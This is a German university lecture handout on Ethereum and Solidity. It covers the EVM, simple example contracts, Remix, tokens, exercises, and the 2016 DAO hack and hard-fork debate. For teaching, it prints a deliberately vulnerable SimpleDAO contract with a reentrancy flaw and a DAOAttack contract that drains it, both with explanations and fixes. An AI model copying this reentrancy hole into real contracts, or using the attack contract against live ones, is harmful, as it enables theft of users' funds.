Blockchain Engineering

Ethereum & Solidity

Dr. Lars Brünjes

GEFÖRDERT VOM
Bundesministerium
für Bildung
und Forschung

MODULARES INNOVATIVES
NETZWERK FÜR DURCHLÄSSIGKEIT

AUFSTIEG DURCH
BILDUNG
OFFENE HOCHSCHULEN

18. Oktober 2019

- Ethereum ist die z.Zt. zweitgrößte Kryptowährung mit knapp 20.000.000.000$ Kapital.
- Grundlage ist das “White Paper” von Vitalik Buterin in “Bitcoin Magazine” von 2013, in dem Buterin eine mächtigere Skript-Sprache für Bitcoin forderte.
- Ethereum wurde auf der Nordamerikanischen Bitcoin Konferrenz in Miami im Januar 2014 angekündigt.
- Die erste experimentelle Version der Ethereum-Plattform wurde im Juli 2015 gestartet.
- Ethereum ist eine sogenannte “Blockchain der zweiten Generation” und soll die Vision eines “universellen Computers” verwirklichen.

- Ethereum benutzt die Ethereum Virtual Machine (EVM), eine virtuelle, Stapel-basierte Maschine.
- Fundamentale Programmiersprache der EVM ist EVM Bytecode, eine Art Assembler.
- Smart Contracts für Ethereum werden meist in Solidity geschrieben, einer höheren Programmiersprache, die zu EVM Bytecode kompiliert wird.
- Im Gegensatz zu Bitcoin Script *ist* EVM Bytecode Turing-vollständig; um das Problem von Endlosschleifen zu vermeiden, verbraucht jede Bytecode-Instruktion eine gewisse Menge Gas, welches vom Absender einer Transaktion zur Verfügung gestellt werden muss.
- Bei Ethereum git es im Prinzip keine “normalen” Konten — alles ist ein Smart Contract. “Normale” Konten sind besonders simple Contracts, die nur Ether senden und empfangen können.

```
1  pragma solidity >=0.4.22 <0.6.0;
2  contract SimpleStorage {
3      uint storedData;
4
5      function set(uint x) public {
6          storedData = x;
7      }
8
9      function get() public view returns (uint) {
10         return storedData;
11     }
12 }
```

Abb.: Ein simples Solidity-Programm.

- Zeile 1 gibt die gültigen Solidity-Versionen an.
- Zeile 3 beschreibt die Daten, die auf der Blockchain gespeichert werden — in diesem Fall ein `uint`.
- Funktion `set` erlaubt es, das Datum zu ändern.
- Funktion `get` ruft den gespeicherten Wert ab.

- Remix, zu finden unter https://remix.ethereum.org, ist ein praktisches Tool zum online Editieren, Kompilieren, Deployen und Testen von Solidity Smart Contracts.
- Contracts können auf Remix sowohl in einem “Sandkasten” im Browser getestet werden als auch auf ein Ethereum Testnet oder das Ethereum Mainnet hochgeladen werden.
- Die offizielle Dokumentation von Solidity finden Sie unter https://solidity.readthedocs.io.

Beispiel: Relay Contract

```
1  pragma solidity >=0.4.22 <0.6.0;
2  contract Relay {
3      address payable to;
4
5      constructor () public {
6          to = msg.sender;
7      }
8
9      function () payable external {
10         to.transfer(address(this).balance);
11     }
12 }
```

Abb.: Dieser Contract fungiert als “Relay” und leitet alle Zahlungen an denjenigen weiter, der ihn erzeugt hat.

- Der Status in Zeile 3 speichert den Erzeuger des Contracts.
- Im Konstruktor in Zeile 6 wird `msg.sender` benutzt, um den Erzeuger herauszufinden.
- In Zeile 10 wird eine eingehende Zahlung an den Erzeuger weitergeleitet.

- Schreiben Sie einen Solidity Contract `Time` mit einer Funktion `getTime`, die die aktuelle Zeit zurückgibt. (*Hinweis*: Benutzen Sie die Solidity-Funktion `now`.)
- Schreiben Sie einen Solidity Contract `TimeLock`, dem im Konstruktor eine Verzögerung (in Sekunden) mitgegeben wird. Implementieren Sie eine Funktion `withdraw`, mit der der Erzeuger des Contracts alles Geld des Contracts abheben kann, aber erst, nachdem die Wartezeit verstrichen ist. (*Hinweis*: Benutzen Sie `require`!)
- Testen Sie Ihre Arbeit in Remix!

- Im Mai 2016 wurde ein komplexer Smart Contract, genannt “The DAO” (Decentralized Autonomous Organization, dezentralisierte autonome Organisation), auf der Ethereum Blockchain eingerichtet.
- Der DAO sollte als eine Art dezentralisierte Crowd-Funding Plattform dienen, auf der Investoren in Projekte investieren konnten.
- Der Start war ein ungeahnter Erfolg und das größte Crowd-Funding aller Zeiten, er brachte ca. 150.000.000$ ein.
- Am 18.6.2016 gelang es einem unbekannten Hacker, durch Ausnutzen einer Sicherheitslücke ca. 70.000.000$ aus dem DAO zu stehlen.
- Am 20.7.2016 fand ein “Hard Fork” statt, dem in einer Abstimmung 89% der Wähler zugestimmt hatten und durch den die gestohlenen Ether zurückgezahlt wurden. Diejenigen, die mit dem “Hard Fork” nicht einverstanden waren, blieben auf der alten Blockchain, die seitdem Ethereum Classic heißt.

Stimmen gegen den Hard Fork

- “Code ist Gesetz”, und die ursprüngliche Formulierung der DAO Geschäftsbedingungen solle unter allen Umständen erhalten bleiben.
- Vorgänge auf der Blockchain sind unveränderlich und sollten unabhängig von den Konsequenzen nie geändert werden.
- Dies könne zu einem Dammbruch führen, durch den in Zukunft mehr und mehr Smart Contracts rückwirkend geändert würden.
- Die Entscheidung, das Geld zurückzuzahlen, sei kurzsichtig und könne langfristig zu einem Wertverlust von Ethereum führen.
- Der Fork sei ein “Rettungspaket” und daher aus politischen oder ideologischen Gründen falsch.

- “Code ist Gesetz” sei zu drastisch, und Menschen sollten das letzte Wort haben.
- Der Hacker solle von seinen unethetischen Handlungen nicht profitieren, und die Gemeinschaft solle gegen ihn vorgehen.
- Das Dammbruch-Argument sei ungültig, da die Gemeinschaft nicht an Entscheidungen aus der Vergangenheit gebunden sei und in jedem Einzelfall rational neu entscheiden könne.
- Es sei problematisch, eine solch hohe Summe in den Händen einer böswilligen Person zu belassen, und könne zu einem Wertverfall von Ethereum führen.
- Dies sei kein “Rettungspaket”, da Geld nicht von der Gemeinschaft genommen werde, sondern lediglich den ursprünglichen Besitzern zurückgegebn werde.
- Die Größe des Hacks rechtfertige es, gegen ihn vorzugehen und ihn rückgängig zu machen.
- Wenn die Gemeinschaft jetzt handele, sende das ein abschreckendes Signal an zukünftige Hacker.
- Der “Hard Fork” werde Aufsichtsbehörden und Gerichte fernhalten gemäß dem Motto “Wir richten selbst, was wir vermasselt haben”.

Vereinfachter DAO Code

```
1  pragma solidity >=0.4.22 <0.6.0;
2  contract SimpleDAO {
3
4      mapping (address => uint256) private credit;
5
6      constructor() public {}
7
8      function queryCredit(address _to) external view returns (uint256) {
9          return credit[_to];
10     }
11
12     function donate(address _to) external payable {
13         credit[_to] += msg.value;
14     }
15
16     function withdraw(uint256 _amount) external {
17         if (credit[msg.sender] >= _amount) {
18             msg.sender.call.value(_amount)("");
19             credit[msg.sender] -= _amount;
20         }
21     }
22 }
```

Abb.: Eine aufs Wesentliche vereinfachte Version des DAO-Contracts nach Atzei et al aus “A survey of attacks on ethereum smart contracts”. 2016.

- Die Verwundbarkeit befindet sich in den Zeilen 17–19.
- Der `msg.sender.call` “low-level” Call aus Zeile 18 kann ausgenutzt werden, um alles Geld aus dem Contract zu stehlen.
- Ein “higher-level” Call wie “`transfer`” hätte nicht genügend Gas für den Angriff bereitgestellt.
- Auch ein Vertauschen der Zeilen 18 und 19 würde den Angriff verhindern.

```
1  pragma solidity >=0.4.22 <0.6.0;
2  import "./SimpleDAO.sol";
3  contract DAOAttack {
4
5      SimpleDAO private dao = SimpleDAO(0x00);
6      address payable private owner;
7
8      constructor() public {
9          owner = msg.sender;
10     }
11
12     function balance() external view returns (uint256) {
13         return address(this).balance;
14     }
15
16     function () payable external {
17         dao.withdraw(dao.queryCredit(address(this)));
18     }
19
20     function getJackpot() external {
21         owner.transfer(address(this).balance);
22     }
23 }
```

Abb.: Vereinfachte Version des Contracts des DAO-Hackers nach Atzei et al aus “A survey of attacks on ethereum smart contracts”. 2016.

- Der Angriff findet in Zeile 17 statt, wo `dao.withdraw` aufgerufen wird, wenn der Contract Geld geschickt bekommt.
- Funktion `getJackpot` (Zeilen 20–22) ermöglicht es dem Hacker, das gestohlene Geld nach dem Angriff aus dem Contract zu nehmen

- Schreiben Sie einen Solidity Contract `Trust`, der einen “Trust-Fund” implementiert.
  - Der Erzeuger benennt im Konstruktor einen “Trustee”, der als einziger Geld aus dem Contract abheben darf.
  - Im Konstruktor werden eine maximale Abhebe-Höhe und ein minimale Wartezeit definiert; der Trustee muss nach jedem Abheben mindestens die vorgegebene Wartezeit warten, und er darf immer nur höchstens die Minimalhöhe abheben.
  - Sie benötigen eine Funktion `withdraw`, mit der der Trustee Geld abheben kann.
- Testen Sie Ihre Arbeit in Remix!

- Wie in der Einführung erwähnt, ist Tokenisierung eine populäre Anwendung von Blockchains. Ethereum und Solidity sind flexibel genug, um Token zu unterstützen. Token kommen in zwei Spielarten:
- Fungible Token
  - Fungible Token sind “austauschbar” wie 100€-Noten: Eine solche Note ist (normalerweise) so gut wie jede andere.
  - Solche Token repräsentieren “Tochterwährungen”.
- Non-Fungible Token
  - Non-Fungible Token sind nicht austauschbar, d.h. jedes solche Token ist einzigartig.
  - Solche Token repräsentieren oft Dinge wie Häuser oder Autos.

```
1  pragma solidity >=0.4.22 <0.6.0;
2  contract Fungible {
3      address public minter;
4      mapping (address => uint) public balances;
5
6      event Sent(address from, address to, uint amount);
7
8      constructor() public {
9          minter = msg.sender;
10     }
11
12     function mint(address _receiver, uint _amount) public {
13         require(msg.sender == minter && _amount < 1e60);
14         balances[_receiver] += _amount;
15     }
16
17     function send(address _receiver, uint _amount) public {
18         require(_amount <= balances[msg.sender], "Insufficient balance.");
19         balances[msg.sender] -= _amount;
20         balances[_receiver] += _amount;
21         emit Sent(msg.sender, _receiver, _amount);
22     }
23 }
```

Abb.: Contract zum Erzeugen und Handeln eines einfachen fungible Tokens.

- Der Status in Zeile 3 speichert den Erzeuger des Contracts, der als einziger neue Token “prägen” darf.
- Zeile 4 speichert, wer wieviele Token besitzt.
- Mit Funktion `mint` kann der Erzeuger neue Token prägen.
- Mit Funktion `send` können Token-Besitzer ihre Token an andere schicken.

- Schreiben Sie einen Solidity Contract zur Verwaltung von Non-Fungible Token:
  - Nur der Erzeuger des Contracts darf ein neues Token erzeugen.
  - Ihr Contract sollte eine Funktion `mint` enthalten, die es dem Erzeuger erlaubt, neue Token zu erzeugen. Argument der Funktion ist der Name des Tokens (ein `string`), und es sollte ein Fehler sein, einen Namen mehrfach zu benutzen.
  - Implementieren Sie eine Funktion `owner`, die zu gegebenem Namen den Besitzer (also eine `address`) des Tokens mit diesem Namen zurückgibt. Der Besitzer ist die Null-Adresse, falls das Token nicht existiert.
  - Implementieren Sie eine Funktion `send`, mit der ein Token-Besitzer eines seiner Token an eine andere Adresse schicken kann.
- Testen Sie ihre Lösung in Remix!

- Online Auktionen bieten sich für die Implementierung als Smart Contract geradezu an.
- Schreiben Sie einen Solidity Contract zum Durchführen einer Online Auktion eines Non-Fungible Tokens:
  - Vor Beginn der Auktion schickt der Erzeuger des Contracts ein Non-Fungible Token an den Auktions-Contract. Dann legt er Mindestgebot und Auktionsdauer fest und startet die Auktion.
  - Teilnehmer können mit einer Funktion `bid` in der Auktion Ether bieten, solange der Endzeitpunkt noch nicht erreicht ist.
  - Am Ende der Auktion kann die Person mit dem höchsten Gebot mittels einer Funktion `claimToken` das Token an sich übertragen lassen.
  - Der Erzeuger der Auktion kann am Ende mittels einer Funktion `claimBid` das höchste Gebot abbuchen.
  - Andere Bieter, die nicht das höchste Gebot haben, können ihre Gebote jederzeit mit einer Funktion `reclaimBid` zurückbekommen.
  - Beachten Sie den Sonderfall, in der niemand das Mindestgebot bietet!
  - Stellen Sie sicher, dass niemand mehr abbuchen kann, als ihm zusteht, und dass die Auktion nur einmal gestartet werden kann!
- Testen Sie ihre Lösung in Remix!

Hinweis

Diese Publikation wurde im Rahmen des vom Bundesministerium für Bildung und Forschung (BMBF) geförderten Bund- Länder- Wettbewerbs “Aufstieg durch Bildung: offene Hochschulen” erstellt. Die in dieser Publikation dargelegten Ergebnisse und Interpretationen liegen in der alleinigen Verantwortung der Autor/innen.